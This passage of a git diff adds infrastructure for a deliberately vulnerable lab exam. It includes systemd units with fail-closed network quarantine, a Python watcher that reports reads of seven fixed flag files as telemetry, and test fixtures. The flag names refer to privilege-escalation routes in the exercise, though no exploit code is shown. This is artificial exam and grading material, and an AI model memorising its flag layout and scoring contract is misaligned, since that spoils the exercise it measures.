+ExecStartPost=
+ExecStop=
+RuntimeDirectory=dnsmasq
+RuntimeDirectoryMode=0755
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/mnt-windows.mount b/labs/open-world-target/platform/templates/etc/systemd/system/mnt-windows.mount
new file mode 100644
index 0000000..4fec884
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/mnt-windows.mount
@@ -0,0 +1,11 @@
+[Unit]
+Description=ExamServer read-only Windows bonus volume
+ConditionPathExists=/dev/disk/by-partuuid/{{WINDOWS_PARTUUID}}
+PartOf=open-world-vulnerable.target
+
+[Mount]
+What=/dev/disk/by-partuuid/{{WINDOWS_PARTUUID}}
+Where=/mnt/windows
+Type=ntfs3
+Options=ro,nosuid,nodev,noexec,uid=0,gid=0,umask=077
+TimeoutSec=30
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-boot-quarantine.service b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-boot-quarantine.service
new file mode 100644
index 0000000..a82b5e1
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-boot-quarantine.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=Fail-closed network state before open-world lab mode selection
+DefaultDependencies=no
+Before=network-pre.target NetworkManager.service wpa_supplicant.service
+Wants=network-pre.target
+
+[Service]
+Type=oneshot
+ExecStart=/usr/sbin/nft --file /etc/nftables.d/open-world-quarantine.nft
+ExecStart=/usr/sbin/rfkill block wifi
+ExecStart=/usr/sbin/rfkill block wwan
+ExecStart=/usr/sbin/rfkill block bluetooth
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-exercise.target b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-exercise.target
new file mode 100644
index 0000000..eaa00d9
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-exercise.target
@@ -0,0 +1,11 @@
+[Unit]
+Description=ExamServer open-world exercise mode
+Documentation=file:///usr/local/share/doc/open-world-lab/operator/DAY-OF.md
+ConditionPathExists=/run/open-world-lab/exercise-ready
+Requires=open-world-vulnerable.target
+BindsTo=open-world-vulnerable.target
+After=open-world-vulnerable.target
+Conflicts=open-world-maintenance.target
+
+[Install]
+WantedBy=multi-user.target
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-file-watch.service b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-file-watch.service
new file mode 100644
index 0000000..4af6823
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-file-watch.service
@@ -0,0 +1,33 @@
+[Unit]
+Description=ExamServer fixed-path flag access telemetry
+Requires=open-world-telemetry.socket
+After=open-world-telemetry.socket
+Before=apache2.service nfs-server.service open-world-root-timer.timer smbd.service ssh.service
+PartOf=open-world-vulnerable.target
+OnFailure=open-world-vulnerable-failure.service
+
+[Service]
+Type=notify
+NotifyAccess=main
+User=root
+Group=root
+ExecStartPre=/usr/bin/test -f /run/open-world-lab/exercise-ready
+ExecStart=/usr/local/libexec/open-world-file-watch
+Restart=no
+TimeoutStartSec=15s
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectSystem=strict
+ProtectHome=read-only
+ReadOnlyPaths=/opt/kazekiri/clues/SUDO.flag
+ReadOnlyPaths=/opt/kazekiri/clues/TIMER.flag
+ReadOnlyPaths=/opt/kazekiri/clues/SUID.flag
+ReadOnlyPaths=/root/route-flags/SUDO.flag
+ReadOnlyPaths=/root/route-flags/TIMER.flag
+ReadOnlyPaths=/root/route-flags/SUID.flag
+ReadOnlyPaths=/root/ROOT.flag
+RestrictAddressFamilies=AF_UNIX
+LockPersonality=yes
+
+[Install]
+WantedBy=open-world-vulnerable.target
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-maintenance.target b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-maintenance.target
new file mode 100644
index 0000000..b130546
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-maintenance.target
@@ -0,0 +1,10 @@
+[Unit]
+Description=ExamServer open-world maintenance mode
+Documentation=file:///usr/local/share/doc/open-world-lab/operator/DAY-OF.md
+Conflicts=open-world-exercise.target open-world-vulnerable.target
+Requires=open-world-boot-quarantine.service
+After=open-world-exercise.target open-world-vulnerable.target open-world-boot-quarantine.service
+AllowIsolate=yes
+
+[Install]
+WantedBy=multi-user.target
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-root-timer.service.d/90-open-world-fail-closed.conf b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-root-timer.service.d/90-open-world-fail-closed.conf
new file mode 100644
index 0000000..a252647
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-root-timer.service.d/90-open-world-fail-closed.conf
@@ -0,0 +1,2 @@
+[Unit]
+OnFailure=open-world-vulnerable-failure.service
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable-failure.service b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable-failure.service
new file mode 100644
index 0000000..225373d
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable-failure.service
@@ -0,0 +1,10 @@
+[Unit]
+Description=Fail closed after an exercise runtime unit fails
+
+[Service]
+Type=oneshot
+ExecStart=/usr/bin/systemctl --no-block stop open-world-vulnerable.target
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectHome=yes
+ProtectSystem=strict
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable.target b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable.target
new file mode 100644
index 0000000..8065786
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/open-world-vulnerable.target
@@ -0,0 +1,8 @@
+[Unit]
+Description=ExamServer open-world exercise services
+ConditionPathExists=/run/open-world-lab/exercise-ready
+Requires=apache2.service dnsmasq.service mnt-windows.mount nfs-server.service open-world-file-watch.service open-world-nfs-watch.service open-world-root-timer.timer open-world-telemetry.service smbd.service ssh.service
+BindsTo=apache2.service dnsmasq.service mnt-windows.mount nfs-server.service open-world-file-watch.service open-world-nfs-watch.service open-world-root-timer.timer open-world-telemetry.service open-world-telemetry.socket smbd.service ssh.service
+After=apache2.service dnsmasq.service mnt-windows.mount nfs-server.service open-world-file-watch.service open-world-nfs-watch.service open-world-root-timer.timer open-world-telemetry.service open-world-telemetry.socket smbd.service ssh.service
+Conflicts=open-world-maintenance.target
+StopWhenUnneeded=yes
diff --git a/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-dnsmasq.conf b/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-dnsmasq.conf
new file mode 100644
index 0000000..9416437
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-dnsmasq.conf
@@ -0,0 +1,3 @@
+# Dedicated DHCP lease state. Keep it separate from the session-id directory.
+d /run/open-world-dnsmasq 0750 dnsmasq root -
+f /run/open-world-dnsmasq/dnsmasq.leases 0640 dnsmasq root -
diff --git a/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-windows.conf b/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-windows.conf
new file mode 100644
index 0000000..ec60d01
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/tmpfiles.d/open-world-windows.conf
@@ -0,0 +1 @@
+d /mnt/windows 0700 root root -
diff --git a/labs/open-world-target/platform/templates/usr/local/libexec/open-world-file-watch b/labs/open-world-target/platform/templates/usr/local/libexec/open-world-file-watch
new file mode 100644
index 0000000..3774c7e
--- /dev/null
+++ b/labs/open-world-target/platform/templates/usr/local/libexec/open-world-file-watch
@@ -0,0 +1,269 @@
+#!/usr/bin/python3
+"""Map access to seven fixed lab files into allowlisted telemetry events."""
+
+from __future__ import annotations
+
+import ctypes
+import errno
+import os
+import select
+import signal
+import socket
+import stat
+import struct
+import subprocess
+import time
+from pathlib import Path
+
+
+IN_ACCESS = 0x00000001
+IN_ATTRIB = 0x00000004
+IN_DELETE_SELF = 0x00000400
+IN_MOVE_SELF = 0x00000800
+IN_IGNORED = 0x00008000
+WATCH_MASK = IN_ACCESS | IN_ATTRIB | IN_DELETE_SELF | IN_MOVE_SELF
+INVALIDATING_MASK = IN_ATTRIB | IN_DELETE_SELF | IN_MOVE_SELF | IN_IGNORED
+EVENT_HEADER = struct.Struct("iIII")
+READY_MARKER = Path("/run/open-world-lab/exercise-ready")
+DEFAULT_EMITTER = Path("/usr/local/bin/open-world-event")
+STARTUP_TIMEOUT_SECONDS = 10.0
+
+# This is the complete detector contract. No command line, process identity,
+# syscall record, or arbitrary path is serialized or passed to telemetry.
+WATCH_SPECS = (
+    (
+        Path("/opt/kazekiri/clues/SUDO.flag"),
+        (
+            "--kind", "clue.discovered",
+            "--node", "clue-sudo-helper",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "file.clue_sudo.read",
+        ),
+    ),
+    (
+        Path("/opt/kazekiri/clues/TIMER.flag"),
+        (
+            "--kind", "clue.discovered",
+            "--node", "clue-writable-timer",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "file.clue_timer.read",
+        ),
+    ),
+    (
+        Path("/opt/kazekiri/clues/SUID.flag"),
+        (
+            "--kind", "clue.discovered",
+            "--node", "clue-unsafe-path",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "file.clue_suid.read",
+        ),
+    ),
+    (
+        Path("/root/route-flags/SUDO.flag"),
+        (
+            "--kind", "root_path.completed",
+            "--node", "root-path-sudo",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "root.sudo_hook.executed",
+        ),
+    ),
+    (
+        Path("/root/route-flags/TIMER.flag"),
+        (
+            "--kind", "root_path.completed",
+            "--node", "root-path-timer",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "root.timer_payload.executed",
+        ),
+    ),
+    (
+        Path("/root/route-flags/SUID.flag"),
+        (
+            "--kind", "root_path.completed",
+            "--node", "root-path-suid",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "root.suid_renderer.executed",
+        ),
+    ),
+    (
+        Path("/root/ROOT.flag"),
+        (
+            "--kind", "root.acquired",
+            "--node", "root-common",
+            "--source", "open-world-file-watch.service",
+            "--evidence", "root.common_flag.read",
+        ),
+    ),
+)
+
+
+class Inotify:
+    def __init__(self) -> None:
+        libc = ctypes.CDLL(None, use_errno=True)
+        libc.inotify_init1.argtypes = [ctypes.c_int]
+        libc.inotify_init1.restype = ctypes.c_int
+        libc.inotify_add_watch.argtypes = [
+            ctypes.c_int,
+            ctypes.c_char_p,
+            ctypes.c_uint32,
+        ]
+        libc.inotify_add_watch.restype = ctypes.c_int
+        self._libc = libc
+        self.fd = libc.inotify_init1(os.O_CLOEXEC | os.O_NONBLOCK)
+        if self.fd < 0:
+            error = ctypes.get_errno()
+            raise OSError(error, os.strerror(error))
+
+    def add(self, path: Path) -> int:
+        watch = self._libc.inotify_add_watch(
+            self.fd,
+            os.fsencode(path),
+            WATCH_MASK,
+        )
+        if watch < 0:
+            error = ctypes.get_errno()
+            raise OSError(error, os.strerror(error))
+        return watch
+
+    def close(self) -> None:
+        os.close(self.fd)
+
+
+def parse_events(payload: bytes) -> list[tuple[int, int]]:
+    events: list[tuple[int, int]] = []
+    offset = 0
+    while offset + EVENT_HEADER.size <= len(payload):
+        watch, mask, _cookie, name_length = EVENT_HEADER.unpack_from(
+            payload, offset
+        )
+        offset += EVENT_HEADER.size + name_length
+        events.append((watch, mask))
+    if offset != len(payload):
+        raise RuntimeError("truncated inotify event")
+    return events
+
+
+def _regular_identity(path: Path) -> tuple[int, int]:
+    metadata = path.lstat()
+    if stat.S_ISLNK(metadata.st_mode) or not stat.S_ISREG(metadata.st_mode):
+        raise RuntimeError("watched object is not a regular file")
+    return metadata.st_dev, metadata.st_ino
+
+
+def _wait_for_contract(
+    specs: tuple[tuple[Path, tuple[str, ...]], ...],
+    ready_marker: Path,
+) -> dict[Path, tuple[int, int]]:
+    deadline = time.monotonic() + STARTUP_TIMEOUT_SECONDS
+    while True:
+        try:
+            if not ready_marker.is_file() or ready_marker.is_symlink():
+                raise FileNotFoundError(errno.ENOENT, "ready marker absent")
+            return {path: _regular_identity(path) for path, _event in specs}
+        except (FileNotFoundError, NotADirectoryError):
+            if time.monotonic() >= deadline:
+                raise RuntimeError("fixed watcher contract was not ready")
+            time.sleep(0.1)
+
+
+def _emit(emitter: Path, arguments: tuple[str, ...]) -> None:
+    try:
+        completed = subprocess.run(
+            [str(emitter), *arguments],
+            check=False,
+            stdin=subprocess.DEVNULL,
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+            timeout=10,
+        )
+    except (OSError, subprocess.TimeoutExpired) as error:
+        raise RuntimeError("fixed event delivery failed") from error
+    if completed.returncode != 0:
+        raise RuntimeError("fixed event delivery failed")
+
+
+def _notify_ready() -> None:
+    address = os.environ.get("NOTIFY_SOCKET")
+    if not address:
+        return
+    if address.startswith("@"):
+        address = "\0" + address[1:]
+    with socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) as notifier:
+        notifier.connect(address)
+        notifier.sendall(b"READY=1")
+
+
+def watch(
+    specs: tuple[tuple[Path, tuple[str, ...]], ...] = WATCH_SPECS,
+    *,
+    ready_marker: Path = READY_MARKER,
+    emitter: Path = DEFAULT_EMITTER,
+    stop_after_events: int | None = None,
+) -> int:
+    if len(specs) != 7 or len({path for path, _event in specs}) != 7:
+        raise RuntimeError("fixed watcher allowlist must contain seven paths")
+    stopping = False
+
+    def request_stop(_signum: int, _frame: object) -> None:
+        nonlocal stopping
+        stopping = True
+
+    signal.signal(signal.SIGINT, request_stop)
+    signal.signal(signal.SIGTERM, request_stop)
+
+    identities = _wait_for_contract(specs, ready_marker)
+    notifier = Inotify()
+    delivered = 0
+    last_emitted: dict[int, float] = {}
+    try:
+        by_watch: dict[int, tuple[Path, tuple[str, ...]]] = {}
+        for path, event in specs:
+            watch_id = notifier.add(path)
+            if watch_id in by_watch:
+                raise RuntimeError("inotify watch descriptor collision")
+            by_watch[watch_id] = (path, event)
+        for path, _event in specs:
+            if _regular_identity(path) != identities[path]:
+                raise RuntimeError("watched file changed during startup")
+
+        _notify_ready()
+        print("watch-ready", flush=True)
+        while not stopping:
+            readable, _, _ = select.select([notifier.fd], [], [], 1.0)
+            if not readable:
+                continue
+            try:
+                payload = os.read(notifier.fd, 65536)
+            except BlockingIOError:
+                continue
+            for watch_id, mask in parse_events(payload):
+                watched = by_watch.get(watch_id)
+                if watched is None:
+                    raise RuntimeError("unknown inotify watch")
+                if mask & INVALIDATING_MASK:
+                    raise RuntimeError("fixed watched file changed")
+                if not mask & IN_ACCESS:
+                    continue
+                now = time.monotonic()
+                if now - last_emitted.get(watch_id, 0.0) < 1.0:
+                    continue
+                _emit(emitter, watched[1])
+                last_emitted[watch_id] = now
+                delivered += 1
+                if stop_after_events is not None and delivered >= stop_after_events:
+                    return 0
+    finally:
+        notifier.close()
+    return 0
+
+
+if __name__ == "__main__":
+    try:
+        raise SystemExit(watch())
+    except Exception as error:
+        print(
+            f"open-world-file-watch: {type(error).__name__}",
+            file=os.sys.stderr,
+            flush=True,
+        )
+        raise SystemExit(1)
diff --git a/labs/open-world-target/platform/templates/usr/local/sbin/open-world-platform b/labs/open-world-target/platform/templates/usr/local/sbin/open-world-platform
new file mode 100644
index 0000000..733b276
--- /dev/null
+++ b/labs/open-world-target/platform/templates/usr/local/sbin/open-world-platform
@@ -0,0 +1,4 @@
+#!/bin/sh
+set -eu
+export PYTHONPATH="/usr/local/lib/open-world-platform${PYTHONPATH:+:$PYTHONPATH}"
+exec /usr/bin/python3 -m open_world_platform.cli "$@"
diff --git a/labs/open-world-target/platform/tests/__init__.py b/labs/open-world-target/platform/tests/__init__.py
new file mode 100644
index 0000000..4162d1f
--- /dev/null
+++ b/labs/open-world-target/platform/tests/__init__.py
@@ -0,0 +1 @@
+"""Platform contract tests."""
diff --git a/labs/open-world-target/platform/tests/helpers.py b/labs/open-world-target/platform/tests/helpers.py
new file mode 100644
index 0000000..083d39d
--- /dev/null
+++ b/labs/open-world-target/platform/tests/helpers.py
@@ -0,0 +1,383 @@
+from __future__ import annotations
+
+import copy
+import hashlib
+import json
+from pathlib import Path
+from typing import Any
+
+from open_world_platform.model import ALWAYS_MASKED_UNITS
+
+
+PLATFORM_ROOT = Path(__file__).resolve().parents[1]
+
+
+def platform_identity() -> dict[str, str]:
+    return {
+        "osId": "debian",
+        "osVersionId": "13",
+        "dpkgArchitecture": "amd64",
+        "kernelMachine": "x86_64",
+    }
+
+
+def manifest() -> dict[str, Any]:
+    return json.loads((PLATFORM_ROOT / "manifest.json").read_text(encoding="utf-8"))
+
+
+def profile() -> dict[str, Any]:
+    empty_hash = hashlib.sha256(b"").hexdigest()
+    return {
+        "schemaVersion": 1,
+        "target": {
+            "diskById": "/dev/disk/by-id/test-target-disk",
+            "diskSerial": "TEST-SERIAL-001",
+            "diskWwn": "0x5000000000000001",
+            "diskSizeBytes": 512_110_190_592,
+            "debianPartuuid": "11111111-1111-1111-1111-111111111111",
+            "espPartuuid": "22222222-2222-2222-2222-222222222222",
+            "windowsPartuuid": "33333333-3333-3333-3333-333333333333",
+        },
+        "network": {
+            "wiredInterface": "enp1s0",
+            "wiredMac": "02:13:37:00:00:10",
+            "maintenanceConnectivityService": "NetworkManager.service",
+        },
+        "recovery": {
+            "kitId": "test-kit-001",
+            "mediaUuid": "44444444-4444-4444-4444-444444444444",
+            "goldenBtrfsStream": {
+                "path": "assets/debian-root.btrfs",
+                "sha256": empty_hash,
+                "filesystemUuid": "aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee",
+            },
+            "debianEfiArchive": {
+                "path": "assets/debian-efi.tar",
+                "sha256": empty_hash,
+            },
+            "microsoftEfiTreeSha256": empty_hash,
+            "bareMetalImage": {
+                "path": "assets/full-disk.img",
+                "sha256": empty_hash,
+            },
+        },
+    }
+
+
+def exercise_inventory(
+    manifest_value: dict[str, Any] | None = None,
+) -> dict[str, Any]:
+    contract = manifest_value or manifest()
+    services = {
+        name: "active"
+        for name in (
+            contract["services"]["vulnerable"]
+            + contract["services"]["exerciseInfrastructure"]
+            + ["open-world-telemetry.socket"]
+        )
+    }
+    services.update(
+        {
+            name: "inactive"
+            for name in contract["services"]["maintenanceConnectivity"]
+        }
+    )
+    for unit in ALWAYS_MASKED_UNITS:
+        services[unit] = "inactive"
+    services["open-world-root-timer.service"] = "inactive"
+    services["mnt-windows.mount"] = "active"
+    return {
+        "schemaVersion": 1,
+        "platformIdentity": platform_identity(),
+        "bootEnvironment": "installed-debian",
+        "targetDisk": {
+            "diskById": profile()["target"]["diskById"],
+            "diskSerial": profile()["target"]["diskSerial"],
+            "diskWwn": profile()["target"]["diskWwn"],
+            "diskSizeBytes": profile()["target"]["diskSizeBytes"],
+        },
+        "partitions": {
+            "debian": {
+                "partuuid": profile()["target"]["debianPartuuid"],
+                "device": "/dev/nvme0n1p3",
+                "mountpoints": ["/"],
+            },
+            "esp": {
+                "partuuid": profile()["target"]["espPartuuid"],
+                "device": "/dev/nvme0n1p1",
+                "mountpoints": ["/boot/efi"],
+            },
+            "windows": {
+                "partuuid": profile()["target"]["windowsPartuuid"],
+                "device": "/dev/nvme0n1p2",
+                "mountpoints": ["/mnt/windows"],
+            },
+        },
+        "windowsMount": {
+            "sourceDevice": "/dev/nvme0n1p2",
+            "target": "/mnt/windows",
+            "filesystemType": "ntfs3",
+            "options": [
+                "gid=0",
+                "nodev",
+                "noexec",
+                "nosuid",
+                "ro",
+                "uid=0",
+                "umask=077",
+            ],
+            "partuuid": profile()["target"]["windowsPartuuid"],
+        },
+        "rootFilesystem": {
+            "sourceDevice": "/dev/nvme0n1p3",
+            "target": "/",
+            "filesystemType": "btrfs",
+        },
+        "network": {
+            "interfaces": [
+                {
+                    "name": "lo",
+                    "kind": "loopback",
+                    "mac": "00:00:00:00:00:00",
+                    "up": True,
+                    "carrier": True,
+                    "addresses": [],
+                },
+                {
+                    "name": "enp1s0",
+                    "kind": "ethernet",
+                    "mac": "02:13:37:00:00:10",
+                    "up": True,
+                    "carrier": True,
+                    "addresses": ["10.13.37.10/24"],
+                },
+                {
+                    "name": "wlp2s0",
+                    "kind": "wifi",
+                    "mac": "02:13:37:00:00:20",
+                    "up": False,
+                    "carrier": False,
+                    "addresses": [],
+                    "radioBlocked": True,
+                },
+            ],
+            "defaultRoutesV4": [],
+            "defaultRoutesV6": [],
+            "dnsServers": ["127.0.0.53"],
+            "ipv4Forwarding": False,
+            "ipv6Disabled": True,
+            "listeners": [
+                {"protocol": "tcp", "address": "10.13.37.10", "port": 22},
+                {"protocol": "tcp", "address": "0.0.0.0", "port": 80},
+                {"protocol": "tcp", "address": "0.0.0.0", "port": 20048},
+                {"protocol": "tcp", "address": "10.13.37.10", "port": 8787},
+                {"protocol": "tcp", "address": "127.0.0.1", "port": 9000},
+                {"protocol": "udp", "address": "0.0.0.0", "port": 67},
+            ],
+            "radio": {
+                "wifi": True,
+                "wwan": True,
+                "bluetooth": True,
+            },
+            "firewall": {
+                "table": "open_world_lab",
+                "inputPolicy": "drop",
+                "forwardPolicy": "drop",
+                "outputPolicy": "drop",
+                "allowedOutputCidrs": ["10.13.37.0/24"],
+                "deniedInputTcpPorts": [20048],
+            },
+            "networkManager": {
+                "wiredInterface": "enp1s0",
+                "unmanagedConfigExact": True,
+                "runtimeManaged": None,
+            },
+        },
+        "services": services,
+        "packages": {name: True for name in contract["packages"]},
+        "unitFiles": {
+            unit: "masked" for unit in ALWAYS_MASKED_UNITS
+        },
+        "nfs": {
+            "v4Only": True,
+            "nfsdPort": 2049,
+            "mountdPort": 20048,
+        },
+        "dnsmasqLease": {
+            "directory": {
+                "path": "/run/open-world-dnsmasq",
+                "kind": "directory",
+                "owner": "dnsmasq",
+                "group": "root",
+                "mode": "0750",
+            },
+            "file": {
+                "path": "/run/open-world-dnsmasq/dnsmasq.leases",
+                "kind": "file",
+                "owner": "dnsmasq",
+                "group": "root",
+                "mode": "0640",
+            },
+        },
+        "dnsmasqPolicy": {
+            "serviceOverrideDirectives": sorted(
+                [
+                    "[Unit]",
+                    "PartOf=open-world-vulnerable.target",
+                    "[Service]",
+                    "ExecStartPre=",
+                    (
+                        "ExecStartPre=/usr/sbin/dnsmasq --test "
+                        "--conf-file=/etc/dnsmasq.d/open-world-lab.conf"
+                    ),
+                    "ExecStart=",
+                    (
+                        "ExecStart=/usr/sbin/dnsmasq "
+                        "--user=dnsmasq "
+                        "--conf-file=/etc/dnsmasq.d/open-world-lab.conf "
+                        "--pid-file=/run/dnsmasq/dnsmasq.pid"
+                    ),
+                    "ExecStartPost=",
+                    "ExecStop=",
+                    "RuntimeDirectory=dnsmasq",
+                    "RuntimeDirectoryMode=0755",
+                ]
+            ),
+            "labDirectives": sorted(
+                [
+                    "interface=enp1s0",
+                    "except-interface=lo",
+                    "bind-interfaces",
+                    "port=0",
+                    "dhcp-authoritative",
+                    (
+                        "dhcp-range=10.13.37.100,10.13.37.199,"
+                        "255.255.255.0,1h"
+                    ),
+                    "dhcp-option=3",
+                    "dhcp-option=6",
+                    (
+                        "dhcp-leasefile=/run/open-world-dnsmasq/"
+                        "dnsmasq.leases"
+                    ),
+                    "log-dhcp",
+                ]
+            ),
+        },
+        "trustedState": {
+            "freshMarker": {
+                "path": "/var/lib/examserver-open-world/fresh-state.json",
+                "kind": "missing",
+                "uid": None,
+                "mode": None,
+                "contentValid": False,
+            },
+            "sessionArtifactsPresent": [
+                "/etc/examserver-open-world/session.env",
+                "/run/examserver-open-world/session-id",
+            ],
+        },
+        "markers": {"exerciseReady": True},
+    }
+
+
+def maintenance_inventory(
+    manifest_value: dict[str, Any] | None = None,
+) -> dict[str, Any]:
+    contract = manifest_value or manifest()
+    value = exercise_inventory(contract)
+    value["bootEnvironment"] = "installed-debian-maintenance"
+    for name in value["services"]:
+        value["services"][name] = "inactive"
+    value["markers"]["exerciseReady"] = False
+    value["partitions"]["windows"]["mountpoints"] = [None]
+    value["windowsMount"] = {
+        "sourceDevice": None,
+        "target": "/mnt/windows",
+        "filesystemType": None,
+        "options": [],
+        "partuuid": profile()["target"]["windowsPartuuid"],
+    }
+    value["network"]["interfaces"][1].update(
+        {"up": False, "carrier": False, "addresses": []}
+    )
+    value["network"]["listeners"] = []
+    value["network"]["firewall"] = {
+        "table": "open_world_quarantine",
+        "inputPolicy": "drop",
+        "forwardPolicy": "drop",
+        "outputPolicy": "drop",
+        "allowedOutputCidrs": [],
+        "deniedInputTcpPorts": [],
+    }
+    value["trustedState"] = {
+        "freshMarker": {
+            "path": "/var/lib/examserver-open-world/fresh-state.json",
+            "kind": "file",
+            "uid": 0,
+            "mode": "0400",
+            "contentValid": True,
+        },
+        "sessionArtifactsPresent": [],
+    }
+    return value
+
+
+def recovery_inventory(profile_value: dict[str, Any]) -> dict[str, Any]:
+    target = profile_value["target"]
+    return {
+        "schemaVersion": 1,
+        "platformIdentity": platform_identity(),
+        "bootEnvironment": "trusted-recovery-media",
+        "targetDisk": {
+            "diskById": target["diskById"],
+            "resolvedDevice": "/dev/nvme0n1",
+            "diskSerial": target["diskSerial"],
+            "diskWwn": target["diskWwn"],
+            "diskSizeBytes": target["diskSizeBytes"],
+        },
+        "partitions": {
+            "debian": {
+                "partuuid": target["debianPartuuid"],
+                "device": "/dev/nvme0n1p3",
+                "mountpoints": [None],
+            },
+            "esp": {
+                "partuuid": target["espPartuuid"],
+                "device": "/dev/nvme0n1p1",
+                "mountpoints": [None],
+            },
+            "windows": {
+                "partuuid": target["windowsPartuuid"],
+                "device": "/dev/nvme0n1p2",
+                "mountpoints": [None],
+            },
+        },
+        "recoveryMedia": {
+            "mountPoint": "",
+            "mediaUuid": profile_value["recovery"]["mediaUuid"],
+            "sourceDevice": "/dev/sdz1",
+            "parentDevice": "/dev/sdz",
+            "backingDevices": ["/dev/sdz", "/dev/sdz1"],
+            "physicalDisks": ["/dev/sdz"],
+            "removable": True,
+            "transport": "usb",
+        },
+        "bootEvidence": {
+            "kernelRecoveryToken": True,
+            "recoverySourceRemovable": True,
+            "rootSource": "/dev/sdz2",
+            "rootBackingDevices": ["/dev/sdz", "/dev/sdz2"],
+            "rootPhysicalDisks": ["/dev/sdz"],
+            "rootTransport": "usb",
+            "rootSourceRemovable": True,
+            "rootSourceHasBlockTopology": True,
+            "rootSourceNotTarget": True,
+            "rootSharesRecoveryMedia": True,
+            "sharedRecoveryPhysicalDisks": ["/dev/sdz"],
+        },
+    }
+
+
+def clone(value: dict[str, Any]) -> dict[str, Any]:
+    return copy.deepcopy(value)
diff --git a/labs/open-world-target/platform/tests/test_file_watch.py b/labs/open-world-target/platform/tests/test_file_watch.py
new file mode 100644
index 0000000..1a974fa
--- /dev/null
+++ b/labs/open-world-target/platform/tests/test_file_watch.py
@@ -0,0 +1,126 @@
+from __future__ import annotations
+
+import importlib.machinery
+import importlib.util
+import json
+import multiprocessing
+import os
+import queue
+import sys
+import tempfile
+import unittest
+from pathlib import Path
+
+
+PLATFORM_ROOT = Path(__file__).resolve().parents[1]
+WATCHER_PATH = (
+    PLATFORM_ROOT
+    / "templates/usr/local/libexec/open-world-file-watch"
+)
+
+
+def _load_watcher():
+    loader = importlib.machinery.SourceFileLoader(
+        "open_world_file_watch_fixture",
+        str(WATCHER_PATH),
+    )
+    spec = importlib.util.spec_from_loader(loader.name, loader)
+    if spec is None:
+        raise RuntimeError("could not load fixed-path watcher")
+    module = importlib.util.module_from_spec(spec)
+    loader.exec_module(module)
+    return module
+
+
+@unittest.skipUnless(
+    sys.platform.startswith("linux"),
+    "real inotify coverage requires Linux/WSL",
+)
+class FixedFileWatchLinuxTests(unittest.TestCase):
+    def setUp(self) -> None:
+        self.watcher = _load_watcher()
+        self.context = multiprocessing.get_context("fork")
+
+    def _fixture(self, root: Path):
+        specs = []
+        for index, (_path, arguments) in enumerate(
+            self.watcher.WATCH_SPECS
+        ):
+            watched = root / f"watched-{index}.flag"
+            watched.write_text("synthetic flag\n", encoding="ascii")
+            specs.append((watched, arguments))
+        marker = root / "exercise-ready"
+        marker.write_text("ready\n", encoding="ascii")
+        return tuple(specs), marker
+
+    def _emitter(self, root: Path, *, succeeds: bool) -> tuple[Path, Path]:
+        output = root / "emitted.json"
+        emitter = root / "emitter"
+        emitter.write_text(
+            "#!/usr/bin/python3\n"
+            "import json, sys\n"
+            f"open({json.dumps(str(output))}, 'w', encoding='utf-8').write("
+            "json.dumps(sys.argv[1:]))\n"
+            f"raise SystemExit({0 if succeeds else 9})\n",
+            encoding="ascii",
+        )
+        emitter.chmod(0o755)
+        return emitter, output
+
+    def _start(self, specs, marker, emitter):
+        messages = self.context.Queue()
+        watcher = self.watcher
+
+        def run() -> None:
+            watcher._notify_ready = lambda: messages.put(("ready", None))
+            try:
+                code = watcher.watch(
+                    specs,
+                    ready_marker=marker,
+                    emitter=emitter,
+                    stop_after_events=1,
+                )
+            except Exception as error:
+                messages.put(("error", type(error).__name__))
+                raise SystemExit(1)
+            raise SystemExit(code)
+
+        process = self.context.Process(target=run)
+        process.start()
+        kind, detail = messages.get(timeout=5)
+        self.assertEqual((kind, detail), ("ready", None))
+        return process, messages
+
+    def test_real_in_access_emits_only_the_fixed_tuple(self) -> None:
+        with tempfile.TemporaryDirectory(
+            prefix="open-world-file-watch-"
+        ) as temporary:
+            root = Path(temporary)
+            specs, marker = self._fixture(root)
+            emitter, output = self._emitter(root, succeeds=True)
+            process, _messages = self._start(specs, marker, emitter)
+            specs[0][0].read_bytes()
+            process.join(timeout=5)
